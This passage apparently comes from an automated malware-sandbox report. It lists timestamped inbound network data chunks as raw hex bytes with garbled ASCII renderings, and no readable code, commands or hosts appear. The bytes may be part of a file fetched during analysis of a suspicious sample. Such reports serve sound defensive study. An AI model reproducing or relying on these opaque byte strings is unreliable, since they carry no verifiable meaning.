38 d3 66 38 26 31 04 78 Data Ascii: [email protected]%Zv4z+wi\cr`|$oA`XTH<.)Cc,<zRh*AuJ*Gw}_:tr9-~N%x0. -U&NF9Z(jMk>@0x$J-+eyyW:*x9(y8f8&1x

2022-01-15 19:23:32 UTC 6251 IN Data Raw: 2c 54 61 75 2b 2c 3e 1e 58 a0 74 08 b7 fb 40 b4 fa 38 97 a6 4d 85 5c ee 87 dd 9a f3 47 a0 7b 23 e8 75 00 7c 4a 25 c0 60 08 f0 0d 4d 87 b6 09 0e d1 f8 62 ed e5 34 47 43 7f ec 7c de 80 3a 26 0d d6 ad bb 40 31 0d 56 06 58 2e c3 ab 71 8f 17 96 94 9f 11 5c 81 eb 30 f9 fa d2 b6 bf 18 75 3c 10 c4 41 f5 0a 67 e0 1e f5 22 85 c5 f3 79 78 31 1c d7 b9 f0 2d d5 76 ad c9 fd 1d dc 0e a7 0a 43 29 47 63 13 40 32 b5 07 b1 e3 28 18 cc 3b 1e c6 86 f8 df 3b 54 ad d7 77 8a 9c a5 26 2b 47 7e 63 cc 6d 62 dc ef f3 fa 24 f8 02 e2 ac ae 83 11 3f 60 37 51 f4 63 89 04 37 a8 35 02 24 01 14 1d b4 e8 1e 74 52 78 e4 56 1e 01 79 ad 94 23 fa 71 b8 4c 6c 85 c1 67 3a f7 e9 e4 fd b1 f7 07 e4 ea 2b 15 c0 12 c7 88 a5 2e fa d5 ab 25 fb 07 5c 41 9f 8c 35 c8 c3 cd 2f 41 74 78 17 65 27 03 81 ab 89 Data Ascii: ,Tau+,>Xt@8M\G{#u|J%`Mb4GC|:&@1VX.q\0u<Ag"yx1-vC)Gc@2(;;Tw&+G~cmb$?`7Qc75$tRxVy#qLlg:+.%\A5/Atxe'

2022-01-15 19:23:32 UTC 6267 IN Data Raw: fb 7d e4 ec 47 46 fc 08 bf 4e 74 20 08 65 9f dc 47 04 28 71 a0 c7 54 96 04 aa 5f c3 92 58 af 22 80 98 04 22 fa 2f 77 ac 13 2d 01 99 e1 9a 7e 82 c8 e0 ad 51 8d 45 71 02 b5 80 cd 27 b4 ec c5 f9 31 f9 3a c9 b5 45 12 81 1d ef 00 e5 17 88 cf 6c 17 a7 e5 67 0f 28 b8 5b fb 7a 55 ec b0 02 79 e3 26 28 e9 d7 1d 98 f9 87 f3 d2 fd d3 8b 29 9f 1b 58 86 d0 18 85 45 6c 8a 4d a6 a8 4f 98 e7 e4 4f f8 e7 f2 4f d8 ea f8 67 28 e8 b5 41 78 ca 55 07 88 02 72 02 fe ea 8e 6a 4b e5 bb 4c 78 a5 25 19 bb 86 9c 00 98 55 7d dc 0f 9f 7f 12 3c 33 91 6b fb 44 54 06 29 66 d1 49 f1 90 51 53 73 84 4f a6 56 f7 2c ae f8 dc 39 63 9e 65 f6 a5 6c 86 85 c6 f0 da d9 cc 5f bd 44 dc 12 2c cc d1 92 ee 0a cd 2a d5 93 81 47 d8 a4 a9 68 90 2c 65 11 ef 01 d5 b8 2d 91 02 21 49 17 7a ce bf 9c 3e 28 c7 75 Data Ascii: }GFNt eG(qT_X""/w-~QEq'1:Elg([zUy&()XElMOOOg(AxUrjKLx%U}<3kDT)fIQSsOV,9cel_D,*Gh,e-!Iz>(u

TimestampkBytestransferred Direction Data

Copyright Joe Security LLC 2022 Page 71 of 103

2022-01-15 19:23:32 UTC 6283 IN Data Raw: 08 7f 88 f4 34 7c b4 21 ee ed b7 9e b2 6d 58 9f 91 fe 20 d0 a1 e4 02 b2 7c 81 77 25 8b dc 8b e9 78 cd de 14 2bf4 42 85 20 fb 55 9e de 1e 28 ff e1 f7 df fe c6 46 1c 38 70 7b a8 c6 ac e0 4f 41 f4 c1 c1 dc 20 7a 05 94 d4 c1 3c ce 1d 7b b0 1c 39 0c a9 8b 17 2b bf 39 e5 2c 61 b9 b4 37 61 54 9d 38 da e4 d9 21 23 07 26 ba 2e 53 84 d7 09 15 c6 27 55 b8 1c 76d4 61 2b 71 6d a0 04 c7 38 f7 95 a8 47 82 6a a9 7f be c6 33 85 f0 27 e6 22 07 e3 c2 b6 09 33 36 ae 00 28 d5 83 01 c3 07 af 52 f0 3b 4f 40 f0 89 e4 ad 34 4e 9c e7 2a b7 e2 d0 72 ac a1 ec 2a 4a 8c f1 8e e6 59 b3 80 95 42 04 b5 d2 5e f1 1f 7d 3d 7c c6 41 97 91 a8 c2 9c b1 a0 4d 08 ac 95 b2 b2 4c e9 5a 1e 33 7e 81 ba 89 7b 15 ac 81 f0 8b 56 c8 ae 34 32 23 91 26 6e cb ab 3a 2a 39 35 47 b5 1c 67 96 18 16 6a d1 3e Data Ascii: 4|!mX |w%x+B U(F8p{OA z<{9+9,a7aT8!#&.S'Uva+qm8Gj3'"36(R;O@4N*r*JYB^}=|AMLZ3~{V42#&n:*95Ggj>

2022-01-15 19:23:32 UTC 6295 IN Data Raw: b3 d3 21 20 b2 ab cd f2 1f b9 3a c1 d1 c1 e6 3b 22 80 38 54 72 a7 28 0b 74 b7 55 fa 0b 61 07 8a 2f ee ed 24 2c61 5a 04 40 3a 39 03 be 16 05 92 7a 73 d9 18 f1 e7 00 94 f4 b0 e1 ae 9d 03 66 1d d7 75 5f 6f e4 c1 b7 f9 af 50 37 c8 05 5c4a fd f2 dd c2 b1 ff 17 75 30 89 97 5b 28 8a d5 a7 24 12 c9 1b a9 97 30 2d 50 d3 e1 18 37 3c 8b 0c ca 17 e4 dd b7 6c e1 30 a8 82 d2 55 17 01 41 e5 40 20 a2 9e cb cc 95 2e b6 b2 fe 20 06 3d ca 3f 02 1b 7e 10 e8 1d 41 95 52 26 ee 77 93 37 5c 78 5d b3 90 a9 2e ba dd 25 76 f0 6c f8 ee 35 50 c2 b4 d8 82 9c 98 9b cf 54 b7 de e4 3f dc b1 50 8d 1e fa a2 42 75 32 e0 df 89 39 da b5 b0 da d0 5d 53 44 9e be 15 33 8d 95 73 85 43 60 b2 11 f5 9a 4d 17 79 5b 17 11 e5 c2 84 7f 7f f1 1e a8 7c 01 6c e9 77 22 ac 6a 3b a0 04 5c 7f 5b 4d bd 65 43 Data Ascii: ! :;"8Tr(tUa/$,aZ@:9zsfu_oP7\Ju0[($0-P7<l0UA@ . =?~AR&w7\x].%vl5PT?PBu29]SD3sC`My[|lw"j;\[MeC

2022-01-15 19:23:32 UTC 6299 IN Data Raw: 2a a6 ac 94 2a a1 ac 9d 2a a0 ac 86 2f bd f9 8f 70 a2 f9 a0 70 45 f9 a9 70 44 f9 92 70 47 f9 9b 70 46 f9 9c 70 41 f9 85 70 40 f9 8e 70 43 f9 77 70 42 f9 88 70 55 f9 71 70 54 f9 7a 70 57 f9 63 70 56 f9 64 70 51 f9 6d 70 50 f9 56 70 53 f9 5f 70 52 f9 50 70 65 f9 59 70 64 f9 42 70 67 f9 4b 70 66 f9 4c 70 61 f9 35 70 60 f9 3e 70 63 f9 27 70 62 f9 38 70 75 f9 2170 74 f9 2a 70 b5 f2 bd 19 b4 ac 14 19 76 ac 2b 19 b7 ac 2c 19 b6 ac 15 19 b1 ac 1e 19 b0 ac 07 19 06 ac 16 19 15 ac 1f 19 14 ac 00 19 b3 80 48 4f 41 f9 1a d8 41 f9 03 d9 41 f9 04 42 41 f9 0d 43 41 9d f6 fb 87 58 2e 31 87 c5 2e 3a 87 c4 3e c3 f2 c1 1d cc 55 ae 71 b0 28 23 ff 5f c7 77 2a 19 ff c3 1c c1 06 a5 b8 7b 78 ad 8f 19 67 7e 58 e2 03 06 1f 48 ae 34 b8 2a 20 ac b5 29 8b 9c 50 f8 b5 4e 10 49 64 b4 Data Ascii: ***/ppEpDpGpFpAp@pCwpBpUqpTzpWcpVdpQmpPVpS_pRPpeYpdBpgKpfLpa5p`>pc'pb8pu!pt*pv+,HOAAABACAX.1.:>Uq(#_w*{xg~XH4* )PNId

2022-01-15 19:23:32 UTC 6315 IN Data Raw: 31 51 73 13 6c 63 4a f6 dd 1b 79 dc 5f bd ae 7e 41 2d cf ec e7 e1 e5 58 a9 1a 2d 4d 8c 4e 5d 79 ec cd e1 12 33 5e da 73 5c fa f1 17 43 70 87 66 70 0a 8a c6 d5 91 28 f0 38 4c 4b ca c4 80 15 32 8e e3 29 2c 92 01 21 87 09 b1 70 06 84 b5 38 56 3c 3a bb 84 3a c8 fa 90 1c f9 8c d5 16 b2 ad 99 26 39 61 88 7a 52 ad f0 c1 38 f2 2c dd 3a 1b 2c ad e5 79 b0 b4 f4 e9 c0 32 79 3b 89 42 44 a0 22 a9 99 c2 05 28 c3 43 2e 53 cd 1b 89 aa 7d d1 2a 06 41 2e 5c 7a 9e 20 1f 78 df 4a 35 74 07 e9 a7 19 03 ad 8d bc f7 58 69 c6 76 31 f9 13 85 0c f0 b5 c9 a9 4e f3 6a 9b 72 58 b0 b5 61 a6 65 3c a3 00 27 2e 92 0d 81 34 2d 52 2b a6 df f3 d5 4f 7c 45 91 ad d6 8c f6 9c 23 b7 4d 5c c5 6d 21 23 79 46 f5 ad 91 a7 0f 0d 00 31 68 2e 99 47 d4 15 bb a3 a0 5d a7 70 4c 66 93 03 ab 42 3b 03 f4 0d Data Ascii: 1QslcJy_~A-X-MN]y3^s\Cpfp(8LK2),!p8V<::&9azR8,:,y2y;BD"(C.S}*A.\z xJ5tXiv1NjrXae<'.4-R+O|E#M\m!#yF1h.G]pLfB;

2022-01-15 19:23:32 UTC 6327 IN Data Raw: 16 b5 54 18 c5 e9 4e 3c 79 c4 b1 22 88 42 f9 bc 1c 73 c9 71 6b 35 86 d9 16 75 b6 5d 34 58 86 85 a4 da 9a dd 92 53 75 85 ba 3c dc 46 c7 62 b9 ca 94 43 fa b8 cc 5f c8 df 87 91 dd 9e 95 46 db dc 11 07 05 7c 2b 2a 5a f2 88 54 33 74 d8 ca ae 83 0c 3b d9 dc 2b 6d 64 6a 17 27 33 c5 59 57 e9 48 68 69 28 57 f0 b6 e2 cc 7a e4 64 de 12 83 7f 01 12 80 64 53 5f db 75 e7 7c 81 e2 af e8 02 45 c2 2e 5a fb 7e 04 c4 5b c6 c6 f1 6a f3 03 d5 f6 eb 18 70 07 97 c8 8a 41 7c 9c 50 05 af b9 55 59 fe fb 2d 12 87 ac 47 ff d2 67 05 71 92 55 3d 25 29 c2 44 62 60 68 d1 1e d0 9e eb 2b 4f 09 53 0c db e6 b8 41 2c 8d 96 14 47 7c 99 41 5f 16 1f 46 f7 08 44 ec 6c a7 67 73 5d 0a 4e e2 99 5d 73 ab c4 f2 4b f7 e7 e5 f3 54 f4 13 7c e8 d3 2b 85 45 b2 8b 46 61 c5 17 51 b9 44 02 20 ae 50 c1 dd 14 Data Ascii: TN<y"Bsqk5u]4XSu<FbC_F|+*ZT3t;+mdj'3YWHhi(WzddS_u|E.Z~[jpA|PUY-GgqU=%)Db`h+OSA,G|A_FDlgs]N]sKT|+EFaQD P

2022-01-15 19:23:32 UTC 6343 IN Data Raw: 48 91 75 aa d8 2e e9 f5 ac 65 ee c5 17 1c 16 ad c9 d3 b5 a4 53 23 76 49 90 f0 1c 26 c2 e8 37 a1 50 52 0d e6 69 64 6d 5d da ca 9e cc dc 0d d1 cc b5 ae 61 9c 43 4a bf 03 ad 92 f2 fc d3 1b 5d 52 73 bd 44 1c c0 2d ab c8 b2 be 00 7c 85 ae 34 60 f9 89 a1 5d 17 12 d4 f8 d9 1f 73 a7 32 2d d7 db 59 1f f2 fd 77 3e cf 74 ad a1 0f 9c 87 e6 98 d6 d1 da 7d 1e 03 42 b7 5e 43 5c ca 7f f8 37 cb ac 63 4a b4 d1 ae f5 2a 7a e0 97 b6 1a c4 d5 63 89 78 d5 25 e0 a0 4a 59 f4 f6 6a f4 f8 f2 25 b6 5d da c8 92 ab b8 61 67 0c 75 44 5f 0d 25 d4 b5 a0 e8 4b 2a 36 b2 a5 44 21 76 49 5a 5c 77 46 5d 06 a8 41 3b 1a ad 39 9d 65 c4 de da d4 30 01 81 c7 62 ae a6 fa 4e c7 55 eb ad 6c fd c5 0b 1c 02 90 a7 80 ad 33 99 07 58 cd 3a cb 96 b8 21 42 f6 35 68 da b0 29 cd 4f 99 62 1b da 29 9a 27 60 46 Data Ascii: Hu.eS#vI&7PRidm]aCJ]RsD-|4`]s2-Yw>t}B^C\7cJ*zcx%JYj%]aguD_%K*6D!vIZ\wF]A;9e0bNUl3X:!B5h)Ob)'`F

2022-01-15 19:23:32 UTC 6359 IN Data Raw: f6 13 9f e7 c5 cc 3d d9 63 51 d6 55 1a a0 89 e2 55 f1 d6 7e 09 0d ea 72 39 1b 22 57 88 3e 04 03 25 ae 25 ac e8 40 00 4e 85 37 23 cd be 81 44 06 62 7d c9 f5 36 45 79 17 20 d3 b4 19 53 98 52 2c d3 b0 a8 ac d0 7f e7 f1 8e b4 f7 21 8f 48 36 11 6d 5a 87 18 d8 02 fb fa 73 29 7d f1 cd 5c b6 c8 65 5e d5 67 7a 56 3f ea 28 d8 a1 2d ba 0f de 57 21 19 8d 18 a9 20 20 53 2e ca 98 af a3 21 1d 7b 92 4a df ce f0 f3 82 d4 a3 02 e6 08 7d 58 38 b1 68 34 4a 97 23 41 ae c7 50 e4 ff 90 c9 f3 21 03 ef 7d ed b5 10 d6 59 c8 13 3e 83 2c b1 7e 1a f1 bb 2e ea c9 27 0c 48 19 18 53 35 65 8c 95 d0 1c b7 d0 e2 0d 87 ed 03 dc ab 8a 37 e7 36 d5 ef 73 ae cd 40 00 d0 ce 85 1b 3e 5f 44 24 6a 30 ee 7a bd 47 18 03 c3 37 97 e5 2d a9 46 ea 12 53 96 3c 63 26 0e 41 23 31 81 87 fb d3 a9 04 2a ee 91 Data Ascii: =cQUU~r9"W>%%@N7#Db}6Ey SR,!H6mZs)}\e^gzV?(-W! S.!{J}X8h4J#AP!}Y>,~.'HS5e76s@>_D$j0zG7-FS<c&A#1*

2022-01-15 19:23:32 UTC 6375 IN Data Raw: 80 d9 94 05 bb 34 9d f5 b8 ee 1f cc fc bd ed a8 d8 48 f7 ca b2 e0 f7 78 db 65 e3 39 6a 00 ab 52 10 0e 80 5e 39 d2 23 08 f7 d1 ba e6 84 cd 0e d4 e5 d8 26 26 0e 87 bf 47 e9 45 f6 28 42 ec 9b 3e 7c a1 9f c7 00 95 34 ec 10 dc 2d d4 f5 c9 91 f5 11 af 6e 37 dc ee b1 c0 1b c1 fc b4 26 2d d5 c6 f0 5e ef 7a 43 bf 42 18 d9 92 b1 12 53 ee c6 48 7c 0d ed 97 de 0a af 28 37 7a 49 ba 35 91 a9 b7 d0 39 5c f1 02 29 2a 9c ae 64 7a 4c ff b5 de 44 d1 c8 ff fb 99 3b 42 18 01 d2 63 1f 1a 71 6d e4 39 cb bf 78 1b 2e a9 06 18 c1 fb 15 18 c2 fb 03 18 ce 3b 37 35 46 80 90 2b 2b f3 62 40 ac c3 13 3a 44 61 0d 09 e8 bc 01 54 6d 98 3b 1f 38 b2 ff 73 dc a7 2b 61 ce f9 a7 33 8a 9b c0 ad 2e dc 2f 0d 7a 89 0b 7a 83 05 a4 3f 2b 1f ef bf e0 1a 50 b7 66 d3 2c d5 e5 e3 1e 1f fe f8 d1 a0 e2 b0 Data Ascii: 4Hxe9jR^9#&&GE(B>|4-n7&-^zCBSH|(7zI59\)*dzLD;Bcqm9x.;75F++b@:DaTm;8s+a3./zz?+Pf,

2022-01-15 19:23:32 UTC 6391 IN Data Raw: e4 0c 01 c8 d3 80 bb a9 71 b8 7a ab 07 7a e0 d7 e0 43 7b c0 e8 d6 b1 fd ad 29 92 ac 94 23 dc 91 e3 6e 89 04 66 09 9f 99 c4 d5 c3 db 91 0f a8 e9 d2 f8 9d 57 98 d7 0d 20 9f c8 68 12 e8 1c c6 46 c7 6e 8f 50 78 3c 49 fe 4f 95 1f b0 cc bb 9c a7 d6 7a 67 fe d3 9b 90 f8 16 28 54 ae f0 d1 e7 5c cf 09 c9 bb 43 bd 2f c4 86 23 c0 38 5a 57 17 ab 05 9a 81 19 92 27 ff 40 08 93 1c b4 83 dd 76 b9 df 5a 94 4b 30 e8 81 a9 7f b7 f4 5f f8 95 be a0 a7 07 fb d5 19 a0 16 f0 ce 9e 5b 3c ca 65 58 43 76 c0 4f 7f c3 b8 28 21 57 c1 aa f8 4b 0d 99 e2 dd ef d1 b8 81 e8 0d a4 68 9a 4f c8 dc b7 2c 45 1a 9e 97 52 18 31 24 8c 61 55 2b 8c 78 ec 79 26 a1 14 86 05 6b fd 9c 55 11 32 bb 36 9a dc e8 7c 6d 82 03 30 db c2 fe b1 40 9a f6 35 5d aa 67 ad 79 7b e7 1c aa 7f 20 7c 62 91 bc 5b 95 c3 d5 Data Ascii: qzzC{)#nfW hFnPx<IOzg(T\C/#8ZW'@vZK0_[<eXCvO(!WKhO,ER1$aU+xy&kU26|m0@5]gy{ |b[

2022-01-15 19:23:32 UTC 6407 IN Data Raw: 5f 6d b5 0b 5d 86 d5 30 37 e4 d4 92 2f d5 d7 c3 27 cc d6 e8 a0 e4 dc 95 68 7e 12 81 fa 12 63 38 19 20 12 74 7a a8 3a a9 04 f5 2e ac 61 25 a9 ce 40 bf db ec af 34 6c 65 eb c5 e7 28 08 60 86 9f 10 c5 55 32 ac 6b 78 0f 9e 65 78 f6 e5 83 c7 ae c4 16 13 1b 3c 68 ad e5 17 7e 88 d8 6a 16 04 3c 95 ff 52 63 a8 9a 02 76 18 8b 1e c0 31 85 e5 0d 6d f2 cd 89 bb bd e5 b7 08 99 30 01 48 9e 04 fe 5d 1c 8d 64 9f b5 d0 3c fd 35 85 4c 37 8f 22 e0 37 38 c3 f0 38 7a f3 65 48 19 16 01 ad 928c 3b 60 af 23 10 1b a5 d5 12 02 0b 5f 2c 91 ba 73 1e 28 30 ce e8 f8 c6 34 2b 27 50 c6 7d 74 1b cd e3 20 f7 1a 1b 0c 29 03 e0 48 87 f4 da ec 53 90 2d 14 94 d4 01 47 59 44 42 10 68 13 9c 4d 07 6d 8d 33 12 09 9b 13 12 b3 cf 33 4c bf f8 02 97 b0 ec 10 ae 05 bc 82 8b cd 0c 6b a8 ba ff 14 19 0f Data Ascii: _m]07/'h~c8 tz:.a%@4le(`U2kxex<h~j<Rcv1m0H]d<5L7"788zeH;`#_,s(04+'P}t )HS-GYDBhMm33Lk

TimestampkBytestransferred Direction Data

Copyright Joe Security LLC 2022 Page 72 of 103

2022-01-15 19:23:32 UTC 6423 IN Data Raw: 01 85 b6 ce 50 6c 9b 35 08 cf 9c 8c 40 4a 14 4b 1f e4 ea 42 30 c4 e1 f8 91 82 95 2d 46 a1 bf 22 30 18 14 25 dc 60 91 08 bd 04 b9 a6 12 d9 71 89 a8 cd 05 27 4a 6f 33 4e cb 0d ad 50 29 97 17 20 fc df 3e 24 18 40 7c 75 92 e8 a1 4d bd 55 fd b4 98 e6 17 22 a8 ad 0f 8c 2f c1 7a a6 17 b7 32 15 a8 fd fd b0 d0 e9 49 77 28 9a 87 48 18 87 3d ed 0c b9 c4 2c d4 91 fa 70 89 2d c9 52 18 0d 29 48 b0 fb a1 8c 05 0e e4 0a 41 75 ff 77 b0 d5 73 55 7e c3 4f cc a0 f5 b8 e5 67 4d 4d 09 d0 ae26 6a c4 f9 65 dd 60 43 9c 0e 61 40 be 98 28 7b 1f 7c 8a 68 2c 28 c6 1b a5 d3 ab 42 f8 85 04 8d 06 a9 1c 21 d8 6e 3e f4 2a 02 f0 84 79 06 5a b6 a0 84 2d 9c d9 8a 5a 8a a9 ac 33 16 e5 89 52 d5 eb 44 60 85 1e 3c 6a af b0 ad fc 92 b1 59 b4 ee 2b c3 61 54 37 e8 86 eb bd 01 3d 25 e1 67 10 83 b1 Data Ascii: Pl5@JKB0-F"0%`q'Jo3NP) >$@|uMU"/z2Iw(H=,p-R)HAuwsU~OgMM&je`Ca@({|h,(B!n>*yZ-Z3RD`<jY+aT7=%g

2022-01-15 19:23:32 UTC 6439 IN Data Raw: 69 09 1a 7b f4 0d e2 7d 8a 8f bc 29 b7 e7 cb 1d bb 3d 17 25 3f cc bf 03 be 87 f1 56 d1 d0 a4 a7 18 56 ff 84 4a 50 ce c0 9d b3 49 60 b4 4d 43 28 f1 bb 7d 72 76 26 b9 0e d2 50 31 2b 2c d1 dd 1c 10 2d 57 aa 18 80 d5 bf 75 a1 79 2b 34 45 ec 80 7e b9 31 47 31 33 62 65 1e bb 49 42 aa 3e 8c 3d 11 15 b9 e2 3f 5c 47 33 99 46 5f 0d c3 53 a1 3e e9 3d f9 ac 3a 90 79 a4 1e da e3 91 70 12 66 6b 10 50 b3 bf 33 98 0b a8 f2 2d 8a e0 90 46 a0 f3 51 62 72 86 7d b0 21 95 76 5d f7 ce 35 c0 54 1d 79 e2 8f 93 8a 02 7d 79 2c ef 20 d0 b3 aa 57 84 dc 89 57 dd c4 7d 94 5a 6d c4 83 8d cf 2c b4 65 32 85 2e fa f2 de 1c b8 2c 7f 6c ec c9 82 46 38 28 02 4c 90 3a 62 35 a8 f5 bd cb a1 b0 c2 28 e4 68 33 30 45 e8 8e 7d a1 e7 e1 d0 1f 0e 0d 0e 85 24 6d a6 3e 7e ee 78 64 a2 a5 f0 84 b4 d5 55 Data Ascii: i{})=%?VVJPI`MC(}rv&P1+,-Wuy+4E~1G13beIB>=?\G3F_S>=:ypfkP3-FQbr}!v]5Ty}y, WW}Zm,e2.,lF8(L:b5(h30E}$m>~xdU

2022-01-15 19:23:32 UTC 6455 IN Data Raw: 7b 9a 14 29 c2 fc eb c8 a3 2f 8f dc 06 42 06 9c ae 4e 91 19 06 e4 fe 1e 18 55 46 ee d6 a3 f2 dc 10 a8 96 4d 43 f7 9d ae b8 14 bd 5d d5 8f 0d 2d 80 54 7d a9 c6 cd ea 6f 17 1d 45 2c 2e b1 df 16 28 79 b9 28 2a 04 06 01 c8 d7 cf 05 48 36 f6 b0 29 2c 9f 84 1a 51 bc 26 b7 05 6c 88 db 2a 91 cc 7b c4 35 3a de eb f9 4b f9 eb 9e 09 4a e5 74 a7 d7 a3 05 89 a9 0e a8 e5 5c 4f fb 2f 6b ea ad c6 d3 0d 05 f5 f8 d7 01 3c ff 7c 3e 18 db d6 c9 c4 19 e0 1f 78 78 ab f0 82 7c a6 55 1f 2a 29 d8 3e 3e 7d 84 dc 03 63 b1 9a ac 77 46 ba d2 09 a5 04 b8 58 41 e4 71 b5 56 93 c4 40 70 6c ea 5c 81 f4 06 7d 61 de 83 09 51 e7 6f f8 49 2f 2f 57 b2 79 26 ec ae 17 c0 d4 1e fc cd 32 5d 9e 13 b5 ac dc d6 29 81 98 fe 9f 21 36 1e c1 50 65 6d cd 80 b5 aa e0 37 92 a9 64 ca 40 c9 a7 4c d7 b1 cb e7 Data Ascii: {)/BNUFMC]-T}oE,.(y(*H6),Q&l*{5:KJt\O/k<|>xx|U*)>>}cwFXAqV@pl\}aQoI//Wy&2])!6Pem7d@L

2022-01-15 19:23:32 UTC 6471 IN Data Raw: 9a d5 87 49 d7 ae c9 d8 ea 38 46 e9 74 f2 09 bb f4 cb 4c 62 e6 21 6b e4 02 41 1b d2 1a 87 60 ba 6c 32 ad 19 04 39 39 7d a8 43 0a 58 94 2c ed a5 b5 4f 2a 17 c5 a8 7f 03 e4 ed 19 6d 3e e4 86 34 17 cf 2e 15 23 04 97 d0 1c c9 bf 89 14 5f ff ea 07 18 e6 de e2 9a 78 9c 50 6b b6 6c 24 58 25 ab 69 ee eb 7c 33 4b 00 72 28 9b 94 51 d8 a1 d9 28 02 89 2a 1e 50 e1 44 78 dd f7 f7 87 fa 64 63 5a da d5 bb 2d 43 78 bc 33 e4 ec 62 2d 1b e7 b5 6e 61 41 51 85 b0 3a f9 24 cb 6b d8 c3 ff 98 05 0e d0 96 12 7b c0 e1 4d 3a 53 d1 27 fa 52 17 41 0d bd ac 8d 35 3a c1 31 5a 2e 61 75 09 4a cc 59 d1 4b 85 e7 1c c4 2d 61 1f 95 a2 45 af b4 4d 65 f8 c8 c0 ac bc 5f 1d 35 ec da d1 a6 1b 2e d0 26 31 58 0c f6 98 e7 3a 28 f1 2f a5 d7 48 b0 e7 98 26 ab e1 5c 16 cf b3 fb 13 ba 84 05 04 1d 7f 45 Data Ascii: I8FtLb!kA`l299}CX,O*m>4.#_xPkl$X%i|3Kr(Q(*PDxdcZ-Cx3b-naAQ:$k{M:S'RA5:1Z.auJYK-aEMe_5.&1X:(/H&\E

2022-01-15 19:23:32 UTC 6487 IN Data Raw: 21 f3 56 06 b4 ca ab 9f 89 bc 08 36 b9 b0 59 2e 65 8b 8e 4c 72 b2 ae ab 8c cc 8c 51 03 1c 29 86 35 b1 b5 22 1e 4e f1 4e 83 9d 5d ba fd f0 01 bd df 3d 04 08 9e bb c6 ff 5a 60 0d 8f 80 d7 d8 68 17 eb c6 0c 01 0d c1 28 bb f6 54 40 46 55 0c cd 39 1b 25 2e 5b 14 27 5e 25 91 ad f3 72 6e 2e 41 09 8d c2 ee 72 30 97 79 52 87 16 5e 3f 5b 40 25 b3 3e 3a 8c 00 1d 78 1f 1a 16 51 1d b3 13 06 dc d5 c9 11 0d a7 01 2b 39 51 d9 26 81 e8 79 e1 01 b4 02 a1 8f c1 8d 3d 35 2f 35 c9 48 72 91 4f 67 3d fe b2 2f bd a8 3d 02 75 40 59 3c 4c c0 fb ea d3 2d af 33 24 df f8 76 b5 8b 7d 9a 73 10 9f 8f 27 88 94 f6 f4 32 671e 28 55 86 89 2f c9 94 fb 1a fd 1a 7f 99 ae 2e c4 d6 89 59 2d 22 4d 19 66 44 14 a3 19 b8 ff 31 79 28 e7 ef 64 39 cc 63 a9 66 03 b6 ee 1a b2 a8 03 9d 5b 2d 16 b3 76 ed Data Ascii: !V6Y.eLrQ)5"NN]=Z`h(T@FU9%.['^%rn.Ar0yR^?[@%>:xQ+9Q&y=5/5HrOg=/=u@Y<L-3$v}s'2g(U/.Y-"MfD1y(d9cf[-v

2022-01-15 19:23:32 UTC 6503 IN Data Raw: 90 4b fa a1 3d 2d 0b cf 0b 1b 1d 88 28 b2 c5 34 7e b2 9e 6b ad ad 9d be a0 fc d4 10 e8 4a 35 04 40 01 d6 7d 70 bd a3 2f b8 54 d0 c4 f8 3e 3f 75 6d 79 9d 57 41 bd dd 75 b4 82 cc 27 e8 e5 df 04 42 f4 ce 10 68 82 c7 84 b8 21 c8 7e 80 fb fa fc 1b b2 35 3c 43 35 cd 77 b4 82 c4 2f 80 21 4d 7b 40 27 85 70 04 e6 c5 70 29 b8 75 cc c3 e2 8f 24 6b 75 ff 44 45 73 fd 51 45 05 5f bc 8e e5 fa ec 1b 46 35 2c 46 35 ed 72 b4 82 38 2f a8 21 6d 7e bf fd a5 73 b7 d1 ed 1c f0 4c 58 94 54 e5 65 82 7f 4e c3 4b b8 40 cd 8c e6 65 96 cc 18 a7 b5 8d 09 4b a1 54 7f 44 35 ac dc 55 cf fc 06 39 3f 80 7f 57 ac 64 ba 27 1d 35 ac d9 5d 83 b0 dd 3e c8 ae b4 dd 8f 26 e6 1d 9d a0 04 55 2f ff f6 a7 1d 20 41 35 96 da 95 39 7f b8 0d ad 68 a4 b7 65 ba 18 e6 a5 89 29 5b 79 6c bd bd 1d 82 c9 d9 55 Data Ascii: K=-(4~kJ5@}p/T>?umyWAu'Bh!~5<C5w/!M{@'pp)u$kuDEsQE_F5,F5r8/!m~sLXTeNK@eKTD5U9?Wd'5]>&U/ A59he)[ylU

2022-01-15 19:23:32 UTC 6519 IN Data Raw: 82 93 9d b5 00 9f 59 00 d0 b0 59 57 ab 70 61 67 ad 3d 16 5a c0 7c d5 56 8d b1 d6 d9 a8 6b eb 4c d1 d5 f2 bc 93 91 b6 7c 34 59 64 52 28 57 57 f0 d1 9e 18 cc 53 10 cd b7 6e bd 04 70 63 60 65 67 ad 19 06 5a 64 28 d5 57 9d 8d d3 d9 2c 6a eb b8 81 cd e6 ab 78 9e 18 8c 53 10 71 a3 6e ed 11 67 15 26 6f 0c 8f 8f 0d d1 93 6d cb 20 95 b7 ed bb 72 c5 6a a7 48 9b 19 a1 4a 15 83 e5 c0 68 e5 76 78 70 57 8c ef ee 39 7a 24 68 6f d4 8d 2f e5 d1 98 a9 5c 10 dd 28 0a 46 64 12 16 0c 64 bd 10 76 04 72 d7 30 e5 ee 99 78 d0 68 c7 d8 8f 8f 05 d1 93 21 cb 94 95 37 85 bb 72 91 6a a7 50 b1 c5 a1 42 c5 0a 66 fc 12 96 d0 4c 05 10 fe 20 72 f7 ec e5 6e a1 7a c8 68 4f 44 8f 8f 35 d9 93 fd e1 6c 95 97 5d 93 d2 fd 68 a7 e8 93 01 a1 6a c1 08 66 84 ba 16 a8 6e 61 10 5e 24 70 f7 38 ed ec 11 Data Ascii: YYWpag=Z|VkL|4YdR(WWSnpc`egZd(W,jxSqng&om rjHJhvxpW9z$ho/\(Fddvr0xh!7rjPBfL rnzhOD5l]hjfna^$p8

2022-01-15 19:23:32 UTC 6535 IN Data Raw: eb 26 cf b8 c0 dd 10 21 3e e1 4b f2 6e 49 b1 8f a0 86 85 0e ab 27 15 dd e4 60 1e 56 7d 95 cb 80 aa 6c c5 b7 72 63 0d fd 8a c1 f5 06 8b 15 ad 52 93 84 33 2e 14 21 9e 1c c6 37 09 dc bc ad 48 18 3a 9a 1e d4 7d 38 10 c2 bb 70 b9 ba ab 72 1e b4 8b 7c 7e b6 eb 7e 5e b0 cb 78 4e b2 cb 7a 4e cc cb 04 4e ce cb 06 4e c8 cb 00 4e ca cb 02 4e c4 cb 0c 4e c6 cb 0e 4e c0 cb 08 4e c2 cb 0a 4e dc cb 14 4e de cb 16 4e d8 cb 10 4e da cb 12 4e d4 cb 1c 4e d6 cb 1e 4e d0 cb 18 4e d2 cb 1a 4e ec cb 24 4e ee cb 26 4e e8 cb 20 4e ea cb 22 4d e4 72 